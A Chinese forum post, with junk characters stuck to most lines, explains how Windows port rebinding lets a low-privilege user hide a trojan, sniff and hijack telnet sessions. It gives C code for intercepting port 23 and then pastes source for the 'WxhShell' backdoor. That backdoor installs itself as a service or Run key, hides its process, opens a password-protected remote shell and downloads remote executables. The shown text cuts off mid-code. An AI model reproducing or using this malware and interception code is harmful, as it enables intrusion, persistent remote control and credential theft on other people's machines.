社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17952阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jF ^~p9z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sD{Wxv  
!}YAdZJ  
  saddr.sin_family = AF_INET; %`>nS@1zp  
N4^-`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m? eiIrMW  
q$I;dOCJ,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zMj#KA1  
En~5"yW5>]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ',Y.v"']4  
H5DC[bZMb%  
  这意味着什么?意味着可以进行如下的攻击: Bc+w+  
rM`X?>iT+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 iq8Grd L"  
{IxA)v-`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jr)1(**  
(!ZM{Js%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 LxYrl-  
S|SV$_ (  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pXrFljoYl[  
F<n3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,F79xx9ufg  
.Zn^Nw3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l==``  
 .u*0[N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S?>HD|Z  
^N7e76VwR  
  #include AP68V  
  #include @G8lr  
  #include #*QO3y~ZM  
  #include    M9!HQ   
  DWORD WINAPI ClientThread(LPVOID lpParam);   sx7eC  
  int main() &ib5* 4!  
  { 't1 ax^-g  
  WORD wVersionRequested; W#^2#sjO  
  DWORD ret; 0 t Fkd  
  WSADATA wsaData; ^A!Qc=#z}  
  BOOL val; ;T"zV{;7BR  
  SOCKADDR_IN saddr; HBy[FYa4  
  SOCKADDR_IN scaddr; iIMd!Q.)@  
  int err; wP6 Fl L  
  SOCKET s; "3Uv]F  
  SOCKET sc; &|Bc7+/P  
  int caddsize; _y),J'W^3u  
  HANDLE mt; tz5e"+Tz  
  DWORD tid;   W=j[V Oq  
  wVersionRequested = MAKEWORD( 2, 2 ); Cbg!:Cws  
  err = WSAStartup( wVersionRequested, &wsaData ); CLRiJ*U  
  if ( err != 0 ) { ZIf  
  printf("error!WSAStartup failed!\n"); 5* j?E  
  return -1; /I1h2 E  
  } 3jGWkby0  
  saddr.sin_family = AF_INET; Y'1S`.  
   gbI^2=YT'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XlV0*}S  
Sm)Ha:[4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hWM< 0=  
  saddr.sin_port = htons(23); mtJ9nC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qAAX;N  
  { z>XrU>}  
  printf("error!socket failed!\n"); 1$D_6U:H0  
  return -1; +b.g$CRr  
  } T^Y([23  
  val = TRUE; [h^2Y&Au5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ySx>L uY#3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8VeQ-#7M/  
  { isQ[ Gc!8  
  printf("error!setsockopt failed!\n"); v/](yT  
  return -1; [Yo,*,y31  
  } brW :C? }  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d@ i}-;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?\vh9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'm4W}F  
)Hpa}FGT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B P2=2)Q  
  { Ka[t75~;  
  ret=GetLastError(); QIB\AAclO  
  printf("error!bind failed!\n"); uehDIl0\[b  
  return -1; I/&%]"[^u  
  } E8pB;\Z(  
  listen(s,2); .}q&5v  
  while(1) 6HZ`.o:f  
  { *G{^|z  
  caddsize = sizeof(scaddr); G+%zn|  
  //接受连接请求 M@`;JjtSA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pk^K:Xs}  
  if(sc!=INVALID_SOCKET) ;g@4|Ro  
  { T?x[C4wf+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8dO!  
  if(mt==NULL) &7`^i.fh)  
  { YpH&<$x:  
  printf("Thread Creat Failed!\n"); S'4(0j  
  break; rf?qdd(~cH  
  } UaWl6 Y&Vu  
  } "Q!(52_@J  
  CloseHandle(mt); |2RC#]/-Y  
  } ,eTUhK  
  closesocket(s); I(V!Mv8j  
  WSACleanup(); 6kNrYom  
  return 0; !9[>L@#G  
  }   _I)U%? V+  
  DWORD WINAPI ClientThread(LPVOID lpParam) P0W*C6&71|  
  { *pSQU=dmS  
  SOCKET ss = (SOCKET)lpParam; [3(7  4  
  SOCKET sc; Jth[DUH8H  
  unsigned char buf[4096]; n@C[@?D  
  SOCKADDR_IN saddr; *A"~m !=  
  long num; {U1?Et#  
  DWORD val; Oy%''+g   
  DWORD ret; E7.2T^o;M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P>s[tM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !ePr5On  
  saddr.sin_family = AF_INET; x[$z({Yf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fQi4\m  
  saddr.sin_port = htons(23); S 5/R_5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D)j(,vt  
  { JT-J#Ag  
  printf("error!socket failed!\n"); }|g\ 8jq  
  return -1; {@+Ty]e  
  } Yzh"1|O  
  val = 100; 4kBaB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2 lj'"nm  
  { MRb-H1+Xf  
  ret = GetLastError(); *v9 2  
  return -1; d/BM&r  
  } LcUh;=r}&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I1pWaQ0  
  { aMtsmL?=  
  ret = GetLastError(); .}OR  
  return -1; r[4tPk  
  } M%ICdIc'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ` :o4'CG  
  { 9QDFEYG  
  printf("error!socket connect failed!\n"); 8,C*4y~  
  closesocket(sc); y~q8pH1  
  closesocket(ss); T)H{  
  return -1; 0`X]o'RxS  
  } $, ,op(  
  while(1) P*FMwrJj>r  
  { IF44F3(V4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 syaPpM Q-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lfqiyYFm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t m7^yn:  
  num = recv(ss,buf,4096,0); f"%{%M$K  
  if(num>0) c(!6^qk]!`  
  send(sc,buf,num,0); ]ooIr Y8  
  else if(num==0) )}"wesNo".  
  break; nQ5n-A&["  
  num = recv(sc,buf,4096,0); A-ZN F4  
  if(num>0) VU&7P/\f%  
  send(ss,buf,num,0); U<DZ:ds ?T  
  else if(num==0) Cj{1H([-  
  break; :_g$.h%%  
  } 4lKq{X5<  
  closesocket(ss); ?QFpv #4  
  closesocket(sc); wVEm:/;z&  
  return 0 ; ]Q>.HH  
  } m 8aITd8  
[8T^@YN  
:9QZPsL  
========================================================== w8U&ls1b  
9s6U}a'c  
下边附上一个代码,,WXhSHELL G#d{,3Gq1  
9f&C  
========================================================== >pp5;h8!  
4nh>'v%pD  
#include "stdafx.h" W g02 A\  
OmIg<v 0\;  
#include <stdio.h> ;c4 gv,q@  
#include <string.h> *Zt#U#  
#include <windows.h> uVJDne,R  
#include <winsock2.h> 8W,Jh8N6  
#include <winsvc.h> FVaQEMZ^  
#include <urlmon.h> P:k>aHnW  
y:~ZLTAv  
#pragma comment (lib, "Ws2_32.lib") C|}iCB  
#pragma comment (lib, "urlmon.lib") -o $QS,  
'}B+r@YCN  
#define MAX_USER   100 // 最大客户端连接数 Q9Kve3u-i  
#define BUF_SOCK   200 // sock buffer r76J N  
#define KEY_BUFF   255 // 输入 buffer @ycDCB(D}  
19E 8'@  
#define REBOOT     0   // 重启 tt0f-:#  
#define SHUTDOWN   1   // 关机 apg=-^L'  
HY&aV2|A1  
#define DEF_PORT   5000 // 监听端口 A8uVK5  
+@p% p  
#define REG_LEN     16   // 注册表键长度 W-?()dX{  
#define SVC_LEN     80   // NT服务名长度 ms*(9l.hOK  
I %sFqh>  
// 从dll定义API _'{_gei_P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); amOnqH-(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]yK7PH-{L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BG6B :  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OY;*zk  
AiEd!u.  
// wxhshell配置信息 ~Y|*`C_)  
struct WSCFG { GP?M!C,/}k  
  int ws_port;         // 监听端口 DU5c=rxW  
  char ws_passstr[REG_LEN]; // 口令 BJM.iXU)[  
  int ws_autoins;       // 安装标记, 1=yes 0=no `*_mP<Ag  
  char ws_regname[REG_LEN]; // 注册表键名 [lWQ'DZ  
  char ws_svcname[REG_LEN]; // 服务名 lDYyqG4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i rU 6D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y }$/e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +nXK-g;)'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =&ks)MH-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;<Ar=?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jk7|{W\OA  
{`LU+  
}; M>~Drul  
`$,GzS(  
// default Wxhshell configuration y9q8i(E0  
struct WSCFG wscfg={DEF_PORT, LBM ^9W  
    "xuhuanlingzhe", nbm&wa[  
    1, 1FlX'[vh  
    "Wxhshell", pEBM3r!X  
    "Wxhshell", *AO,^R&e.  
            "WxhShell Service", 'EbWFMjy  
    "Wrsky Windows CmdShell Service", jQ2Ot<  
    "Please Input Your Password: ", gtk7)Uh  
  1, 9N@W\DT  
  "http://www.wrsky.com/wxhshell.exe", ,z;cbsV-{  
  "Wxhshell.exe" ]P.'>4  
    }; :=u?Fqqws  
xe{ !wX  
// 消息定义模块 6-z%633DL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O_wEcJPE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OSs&r$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9$cWU_q{  
char *msg_ws_ext="\n\rExit."; /67 h&j  
char *msg_ws_end="\n\rQuit."; g.BdlVB\  
char *msg_ws_boot="\n\rReboot..."; q"\Z-D0B4  
char *msg_ws_poff="\n\rShutdown..."; e+~\+:[?  
char *msg_ws_down="\n\rSave to "; ,]46I.]  
_F>CBG  
char *msg_ws_err="\n\rErr!"; \fG#7_wt  
char *msg_ws_ok="\n\rOK!"; =]6%G7T  
dIN$)?aB0  
char ExeFile[MAX_PATH]; {1 UQ/_  
int nUser = 0; b\yXbyjZ3.  
HANDLE handles[MAX_USER]; 06O2:5zF  
int OsIsNt; JMrEFk  
\NgYTZ  
SERVICE_STATUS       serviceStatus; N5Q[nd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c3 jx+Q  
,\_1w  
// 函数声明 ,K9*%rW)  
int Install(void); T ]t'39  
int Uninstall(void); ZA0mz 65  
int DownloadFile(char *sURL, SOCKET wsh); vHyC;4'  
int Boot(int flag); zHA!%>%'  
void HideProc(void); R3x3]]D  
int GetOsVer(void); XGYbnZ~   
int Wxhshell(SOCKET wsl); \MyLc/Gh5  
void TalkWithClient(void *cs); 2bJQTk_S  
int CmdShell(SOCKET sock); #|L8tuWW  
int StartFromService(void); z@!`:'ak  
int StartWxhshell(LPSTR lpCmdLine); "W6uV!  
OLyf8&AU@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gG0!C))8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BXtCSfY $  
3{'Ne}5%I  
// 数据结构和表定义 5rw 7;'  
SERVICE_TABLE_ENTRY DispatchTable[] = dP3CG8w5  
{ '(U-(wTC'/  
{wscfg.ws_svcname, NTServiceMain}, |iakz|])  
{NULL, NULL} Ag9vU7  
}; |2O]R s  
24 [+pu  
// 自我安装 u+Y\6~=+  
int Install(void) %|auAq&w  
{ fObg3S92  
  char svExeFile[MAX_PATH]; v- 2:(I V  
  HKEY key; nV"~-On  
  strcpy(svExeFile,ExeFile); e>6y%v;  
dBYmiF!+  
// 如果是win9x系统,修改注册表设为自启动 t<#TJ>Le  
if(!OsIsNt) { th  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O#ai)e_uQk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ??^5;P{yx  
  RegCloseKey(key); xN5)   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `, OG7hg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @5N]ZQ9  
  RegCloseKey(key); .YhA@8nc~l  
  return 0; BF\XEm?!  
    } )(bW#-  
  } LInz<bc<(  
} YWe{juXSw  
else { mk;&yh  
4w*Skl=F}  
// 如果是NT以上系统,安装为系统服务 -.1y(k^4E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dMh:ulIY>  
if (schSCManager!=0) }tRm]w  
{ 2L3)#22m*  
  SC_HANDLE schService = CreateService /5S30 |K  
  ( sd*p/Q|4  
  schSCManager, gZN8!#h}B  
  wscfg.ws_svcname, 9B{k , 1  
  wscfg.ws_svcdisp, h{%nC>m;  
  SERVICE_ALL_ACCESS, e^8 O_VB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c23oCfB>  
  SERVICE_AUTO_START, um jt]Gu[  
  SERVICE_ERROR_NORMAL, ] ] !VK  
  svExeFile, |?!~{-o  
  NULL, abuh`H#  
  NULL, Vx$\hcG  
  NULL, WJQvB=D&  
  NULL, K18}W*$ d  
  NULL :0Bq^G"ge  
  ); C6VLy x  
  if (schService!=0) 6c}h(TkB  
  { @@R7p  
  CloseServiceHandle(schService); ,BH@j%Jmy  
  CloseServiceHandle(schSCManager); z6U\axO6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IbT=8l,Li  
  strcat(svExeFile,wscfg.ws_svcname); W<bGDh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @P#N2:jwj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w^Sz#_2  
  RegCloseKey(key); qyZ" %Kz  
  return 0; |t^E~HLm,  
    } >=qf/K +#  
  } Q 8T]\6)m  
  CloseServiceHandle(schSCManager); 1#C4;3i,  
} r /YMLQ  
} (SWYOMo"  
x6BuF_.   
return 1; <NR#Y%}-V  
} bfFeBBi  
zZ7;jyD  
// 自我卸载 aT{_0m$G10  
int Uninstall(void) v| gw9  
{ *F+KqZ.2  
  HKEY key; g,Lq)'N;O  
lG9bLiFY  
if(!OsIsNt) { eX?OYDDC0j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tl%`P_J)-S  
  RegDeleteValue(key,wscfg.ws_regname); EMh7z7}Rr  
  RegCloseKey(key); 4QH3fTv   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !02`t4Zc-  
  RegDeleteValue(key,wscfg.ws_regname); ~Y`ldL  
  RegCloseKey(key); ,`|3KE9  
  return 0; y<?kzt  
  } LzG%Z1`  
} sGi"rg#  
} riUwBiVa?2  
else { >W%EmnLK  
A}BVep@D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +O"!qAiK  
if (schSCManager!=0) 4-? C>  
{ .~)q};Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O [\i E5+$  
  if (schService!=0) zvvhFN2s  
  { $ZUdT  
  if(DeleteService(schService)!=0) { 1 8|m)(W  
  CloseServiceHandle(schService); N,`$M.|?  
  CloseServiceHandle(schSCManager); ,KF 'TsFf  
  return 0; iNWw;_|1  
  } :WjpzgPuN  
  CloseServiceHandle(schService); -c_74c50  
  } i@C].X  
  CloseServiceHandle(schSCManager); ]}Mj)J"m  
} US+Q~GTA  
} .?D7dyU l1  
`n.5f[wC  
return 1; %oF}HF.  
} Ye\rB\-  
S{Kiy#ltWc  
// 从指定url下载文件 61Bwb]\f/|  
int DownloadFile(char *sURL, SOCKET wsh) }d[ kxo  
{ bbtGXfI+SB  
  HRESULT hr; 18)'c?^.  
char seps[]= "/"; 3]OE}[R  
char *token; Y4OPEo5o  
char *file; e{h<g>7  
char myURL[MAX_PATH]; rDD:7*z  
char myFILE[MAX_PATH]; HeK/7IAqp  
l\E%+?K+^  
strcpy(myURL,sURL); ",p;Sd  
  token=strtok(myURL,seps); 0QB iC]9  
  while(token!=NULL) 6|K5!2  
  { d:_t-ZZo  
    file=token; /vY(o1o x  
  token=strtok(NULL,seps); _- [''(E  
  } o906/5M  
bH-ub2@qO  
GetCurrentDirectory(MAX_PATH,myFILE); P#E&|n7DT  
strcat(myFILE, "\\"); Yab%/z2:  
strcat(myFILE, file); _A M*@|p,  
  send(wsh,myFILE,strlen(myFILE),0); l3KVW5-!gS  
send(wsh,"...",3,0); xVf| G_5$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IrR7"`.i  
  if(hr==S_OK) GSY(  
return 0; QEm|])V  
else d)"3K6s|5  
return 1; &Q9qq~  
KLU-DCb%  
}  jPC[_g  
Ot$-!Y;<  
// 系统电源模块 >L|;|X!m9\  
int Boot(int flag) @+;$jRwq  
{ gMv.V{vD  
  HANDLE hToken; )}''L{k-  
  TOKEN_PRIVILEGES tkp; ?RX3MUN  
#c!*</  
  if(OsIsNt) { b[__1E9v'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %&$Tz1"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !5wIIS:FT  
    tkp.PrivilegeCount = 1; ' WMh8)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OGBHos  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "HX<,l8f%  
if(flag==REBOOT) { Qf58ig-vCY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2{M^,=^>  
  return 0; V GL aN%|  
} !*/*8re  
else { Nw:GCf-L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Lq h j  
  return 0; /;{P}-H`ei  
} l+ 3[ KCE  
  } *xc_k"\  
  else { h~A/y!s  
if(flag==REBOOT) { *zNYZ#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V @rI`~$  
  return 0; %`k6w3qI  
} [l:x'_y  
else { i}b${n o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r~[Ia!U?  
  return 0; -Bt k 3  
} 2;xIL]  
} fTzvmC:g7  
h,QKd>4:CF  
return 1; 9*$t!r{B@  
} +U:$(UV'A  
z^KJ*E  
// win9x进程隐藏模块 $JSL-NkE  
void HideProc(void) qsL) }sC^8  
{ 6~OoFm5  
bf0+DvIB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )Z[ft  
  if ( hKernel != NULL ) 9K/HO!z  
  { m2 -Sx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =Xm@YVf&ZD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (As#^q\>B  
    FreeLibrary(hKernel); U6=..K!q  
  } L%">iQOG#  
:Y-{Kn6`_  
return; ,?PTcQF  
} V zBqjE_  
85lCj-cs  
// 获取操作系统版本 $GYm6x\4  
int GetOsVer(void) 2*rH?dz8E  
{ IOTR/anu  
  OSVERSIONINFO winfo; ^F>cp ,x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xsa2(-  
  GetVersionEx(&winfo); aF8fqu\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jNu9KlN  
  return 1; Yv hA_v  
  else "b?v?V0%C  
  return 0; e}mD]O}  
} K )[]fm  
h"`ucC8X  
// 客户端句柄模块 |}2 3>l7  
int Wxhshell(SOCKET wsl) `(T,+T4C5k  
{ v. %R}Pa  
  SOCKET wsh; a5 *2h{i  
  struct sockaddr_in client; Y;nZ=9Sw  
  DWORD myID; Z 1zVwHa_  
"~E[)^ANxD  
  while(nUser<MAX_USER) ,PlO8;5]  
{ syk!7zfK  
  int nSize=sizeof(client); t'9*R7=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =,%CLS,6w  
  if(wsh==INVALID_SOCKET) return 1; cQG +$0(  
Xm+8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'iy*^A `Y  
if(handles[nUser]==0) 0$_oT;{8  
  closesocket(wsh); YiYV>gaf"H  
else *ohL&'y  
  nUser++; 5pU2|Bk /  
  } ~i@Y|38C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -D xL0:E  
-<Hu!V`+  
  return 0; C(S'#cm  
} ]"+95*B  
Q#^Qv.s?K  
// 关闭 socket )=\# UE+W  
void CloseIt(SOCKET wsh) ktnuNsp  
{ m1n.g4Z&*  
closesocket(wsh); W-Fu-Cz=  
nUser--; ZPc@Zr`z  
ExitThread(0); (&&4J{`W9  
} J%V-Q>L  
^BUYjq%(`  
// 客户端请求句柄 qZ]pq2G  
void TalkWithClient(void *cs) |"XPp!_uN  
{ :]rJGgK#  
3VI4X  
  SOCKET wsh=(SOCKET)cs; Q s.pGi0W  
  char pwd[SVC_LEN]; pX/n)q[  
  char cmd[KEY_BUFF]; zR `EU,  
char chr[1]; ~)qtply  
int i,j; qud\K+  
GFfq+=se  
  while (nUser < MAX_USER) { o]Ol8I  
D,;\o7V  
if(wscfg.ws_passstr) { wtmB+:I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O_cbP59Y.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?gJOgsHJP  
  //ZeroMemory(pwd,KEY_BUFF); 'D6T8B4  
      i=0; ]V-W~r=  
  while(i<SVC_LEN) { ^F2b hXE  
3k|oK'l  
  // 设置超时 l_EM8pL,f  
  fd_set FdRead; )>b.;  
  struct timeval TimeOut; jAy^J(+  
  FD_ZERO(&FdRead); >RPd$('T  
  FD_SET(wsh,&FdRead); ONx( ]  
  TimeOut.tv_sec=8; }K1JU`Lz  
  TimeOut.tv_usec=0; T|6jGZS^|W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !iH-#B-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4&xZ]QC)O5  
M~WijDj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LUH"  
  pwd=chr[0]; RG3l.jL  
  if(chr[0]==0xd || chr[0]==0xa) { 3<k`+,'  
  pwd=0; *5 |)-E  
  break; TlI<1/fP}  
  } fBgEnz/  
  i++; !_+8A/  
    } 8~90 30>Q  
@ U kr  
  // 如果是非法用户,关闭 socket w^Lta  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gzBy?r> r  
} |u0( t,T  
AtU v71D:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ( Fynok  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2H/Z_+\  
.Q@S #d  
while(1) { 6An9S%:_  
TpmwD{c[\  
  ZeroMemory(cmd,KEY_BUFF); $={:r/R`i  
T21ky>8E  
      // 自动支持客户端 telnet标准   e%4:) IV!;  
  j=0; &FH2fMLQ  
  while(j<KEY_BUFF) { 9R;/*$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {o!KhF:[  
  cmd[j]=chr[0]; NZP.0coY  
  if(chr[0]==0xa || chr[0]==0xd) { w?zKjqza=v  
  cmd[j]=0; 56e r`=ms  
  break; ~/8M 3k/  
  } 4(Ov1a>  
  j++; .!1S[  
    } G2]4n T  
K =C!b?  
  // 下载文件  }8@M@  
  if(strstr(cmd,"http://")) { @g2 cC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [,K.*ZQi  
  if(DownloadFile(cmd,wsh)) CT KG9 T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VOc8q-hK  
  else <&&SX;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W%.v.0   
  } L KCb_9  
  else { U\veOQ;mW  
PqyA1  
    switch(cmd[0]) { UA4J>1 i  
  B3H|+  
  // 帮助 /;7y{(o  
  case '?': { pM{nh00[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z.W66\8~}^  
    break; s[K^9wz  
  } RlqQ  
  // 安装 &ISb~5  
  case 'i': { 4Sm]>%F':  
    if(Install()) % r-V2)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p. R2gl1m  
    else 3' ~gvi I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B|C/ Rk6?  
    break; +$$$  
    } #'-Sh7ycW  
  // 卸载 z-@=+4~  
  case 'r': { 3I!?e!y3(  
    if(Uninstall()) -29gL_dk.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2u"7T_"2D  
    else =/u% c!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R*oXmuOsYA  
    break; Vs)--t  
    } >_c5r?]SG  
  // 显示 wxhshell 所在路径 P+!"wX0*N  
  case 'p': { i]=&  
    char svExeFile[MAX_PATH]; EyI}{6~F  
    strcpy(svExeFile,"\n\r"); 4-kZJ\]  
      strcat(svExeFile,ExeFile); !IC-)C,q  
        send(wsh,svExeFile,strlen(svExeFile),0); #Hvq/7a2R  
    break; I.Y['%8,5~  
    } {ekCQeDo  
  // 重启 nI/kw%<  
  case 'b': { 3#vinz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "F3]X)}  
    if(Boot(REBOOT)) HxB m~Lcqy  
